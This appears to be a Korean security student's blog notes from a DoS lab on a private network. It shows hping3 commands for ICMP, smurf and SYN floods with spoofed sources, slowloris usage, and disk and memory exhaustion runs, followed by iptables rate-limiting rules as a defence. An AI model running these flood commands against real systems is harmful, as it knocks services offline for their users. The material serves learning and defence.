kkamagi's story

IT, 정보보안, 포렌식, 일상 공유

Cyber Security

DoS 공격 / iptables synflooding

까마기 2014. 11. 9. 18:07
728x90
반응형

 

/etc/rc.d/init.d/httpd restart    80
/etc/rc.d/init.d/sshd restart    22 
/etc/rc.d/init.d/sendmail restart   25
rpm -qa xinetd
cat /etc/xinetd.d/krb5-telnet
/etc/rc.d/init.d/xinetd restart
/etc/rc.d/init.d/vsftpd restart


<다른창에서>
yum -y install wireshark
yum -y install xinetd
gnome 환경이 안올라와서 yum -y install wireshark*
   rpm -qa | grep wireshark
   wireshark &


<시나리오>
centos에서 서비스를 올려논 상태에서 bt5을 이용해서 공격하면서 공격받는 쪽에서 와이어 샤크로 공격패턴을 모니터링

bt5으로 가서 ip주소 셋팅 
 /etc/init.d/networking restart

공격용 시스템 ip주소와  공격당할사람,서버의 ip주소를 작성 
192.168.153.135   192.168.153.10

deny of service(나로인해서 다른사용자가 서비스를 사용할수 없게)
- 이메일 첨부 파일 2메가 짜리를 받았는데 2TB -> 디스크가 풀이나서 자원고갈형 공격서비스?
네트워크 자원만 있는게 아니다.
-가장 기본적으로 ICMP 프로토콜을 이용하는 것. ip통신을 할때 이 통신이 정상적으로 이루어지지 않는정보 type넘버 3번에 보면검증하기 위해서.

icmp ping 바이트 크기 이상의 크기로 보내서...

한개를 보냈을 때 수용할 수 있을 갯수가 있는데 ..ping을 보낼때 한번에 처리할 수 없을 만큼 보내버리면 시스템이 슬로우되고 메모리자원이 고갈되고 결론적으로 시스템이 주저않는.. -->이름은 ping of death.

실제로 들어오는 용량 56바이트
2의 16승:65536이 넘어가게 되면 이 바이트 사이즈를 넘어가게 되면 처리가 힘들어진다.
bt5      centos
hping3 -1 :icmp     # top
 -2 :udp
 아무것도 안붙이면 tcp
또는 hping3 --icmp

rand source - 출발지 ip를 랜덤하게 하는 hping옵션중 하나

페이징 사이즈(작업관리자에서 찾을 수 있다.) 이 자원이 고갈이 된것.

hping3 -1 --rand-source 192.168.153.10 -d 65535 -i u1  //u1이 빠르게 보내는것? u10,u100,u1000이 될수록 느리게.


------------------------------------------------------------------------------------------------------------------------------------------------------
hping3 -1 -a 192.168.153.10  192.168.153.255  -i u1000  --출발지 10, 목적지 255 -->smurf 라고 한다.

출발지 10 이 브로드캐스트를 뿌리면 그에 대하여 응답하는 어떤 ip가 다시 출발지에게 응답을 한다.

ping 명령어 자체가 상대방 프로토콜이 죽어있는지 살아있는지 테스트하는 것.

예를들어 출발지 주소를 브로드캐스트로 192.168.153.255로,, 스위치나 라우터 장비에서 막고 STP 구성을 해주는게 좋고 VLAN 구성보다 ....--네트워크의 규모를 줄여준다?
===================================================================================
시퀀스 넘버와 플래그드 조합(통신의 상태) - 굉장히 모순적인것 ipv4 에서는 어쩔 수 없다. ipv6에서는 좀 다르다.
udp프토토콜이 가지고 있는 신뢰성의 문제를 해결
===================================================================================
출발지는 파워 오프거나 ip할당이 안되있는 것.
서버측의 서비스가 세션을 요청했을때 의 세션이 고갈되는 것
3웨이 핸드쉐이킹에대한 백로그 큐공간이 꽉찼을때 잘못된 플래그드 조합을 보냈을때 이것을 필터링할수없거나 검증할 백로그 공간이 없기 때문에 그냥 지나간다는 얘기.


싱크 플루드 어택-백로그 큐 공간 사이즈를 늘려서 버티는 것이 대응책.(IDS-침입탐지 시스템이 만들어진 이유가 싱크 플루드때문에.만들어졌고 공격이 들어올때 알려줘서 대응하라고 알려주는 것 여기서 진화한 것이 IPS방지 시스템)

방화벽은 웜때문에 만들어짐. 웜트래픽을 차단하기 위해서. 하지만 방화벽은 싱크플루드를 막을 수 없기 때문에 대응책이 필요했다.
BT5
hping3  -a 192.168.153.200  192.168.153.10 -S -p 21 -i u100
또는
hping3 --rand-source 192.168.153.10 -S -p 21 -i --flood

        Centos
        iptables -L
       cat /proc/sys/net/ipv4/tcp_syncookies 가 1이면 0으로 바꿔준다
       echo 0 > /proc/sys/net/ipv4/tcp_syncookies

       1이 트루,활성화, 0이 비활성화(신 쿠키는 리눅스 시스템에 제한)


=====================================================================================
land attack
예외처리 (보안의 가장 기본, 필터링) ,예외처리가 안되있는 곳에서 취약점이 노출점

tear drop?
이 공격은 전송 계층에서 데이터를 전송시 fragmentation(데이터 분할 과정)을 진행 시 유지 해야하는 정보
 시퀀스 넘버 flags 상태  이 두가지를 똑같이 만들어서

 데이터 통신 중간에 삽입시켜 수신자측 에서수신 후 제조합 단계에서 오류를 일으켜 메모리를 고갈하는 공격.
 어플리케이션 패치를 해서 계속 재조합하려는 로직을 버려라.
 네트워크로는 해결 방안이 없다.
======================================================================================
centos
#yum -y intall gcc
disk.c 파일을 다운받은 상태에서
gcc disk.c -o disk
#cat disk.c
ls -l
./disk   --->  이것이 공격이고
df -h 했을때 용량이늘어남을 확인할 수 있다
공격을 실시했을때 ls -l tempfile 이 생겨남을 알수 있고 rm -f tempfile을 지우면 원래의 크기로 돌아온다.

df -h | grep ^/dev | sed 's/%//g' | awk '$5 > 20 {printf $0}'

========================================================================================
메모리자원

cd Desktop/
gcc memory.c -o memory

시스템 자원 확인 -> top 또는 free
====================================
anonymous  검색

이베이 회사 DDOS 첫 공격 받음 - 역사적인 사건
협력업체나 에이젼트를 감염을 시켜 좀비를 만들어서 이것을 통해서 이베이를 공격 엑셉트가 될수있는 endpoint를 가지고 있기때문에.
Master --> agent-> endpoint-> client

랜선을 뽑거나 중국발 아이피주소를 차단하거나

ubuntu 에서 메뉴에서 slowloris ==>
~/.ddos-tools/slowloris$ ./slowloris.pl -dns 192.168.153.10
공격후 wireshark로 패킷분석을 하다 보면 TCP segment of a reassembled.PDU   ---> 문서화해서 만들어오기 
정상적인 패킷인 것 같지만 그 안에 시스템에 과부화를 주는 패킷이 포함되어 있다는 것이고 따로 솔루션이 필요하다. 막을 수 없기 때문에. 이런 시그니쳐를 방지해줄수있는 ip?같은 솔루션이 필요

웹을 사용하는 dos와 DDoS공격 어떤 자원을 고갈 하는것이냐, 어떻게 하면 막을 수 있는 것인가?  


====================================


# Limit the number of incoming tcp connections

# Interface 0 incoming syn-flood protection

iptables -N syn_flood

iptables -A INPUT -p tcp --syn -j syn_flood

iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN

iptables -A syn_flood -j DROP

#Limiting the incoming icmp ping request:

iptables -A INPUT -p icmp -m limit --limit  1/s --limit-burst 1 -j ACCEPT

iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j LOG --log-prefix PING-DROP:

iptables -A INPUT -p icmp -j DROP

iptables -A OUTPUT -p icmp -j ACCEPT


반응형

'Cyber Security' 카테고리의 다른 글

DNS spoofing, SSL Webmitm  (0) 2015.01.21
[정보보안] ARP spoofing 실습  (0) 2015.01.21
Arp Spoofing  (0) 2014.11.02
admin$ 공유를 이용한 계정 탈취  (0) 2014.11.02
IP Spoofing  (0) 2014.10.21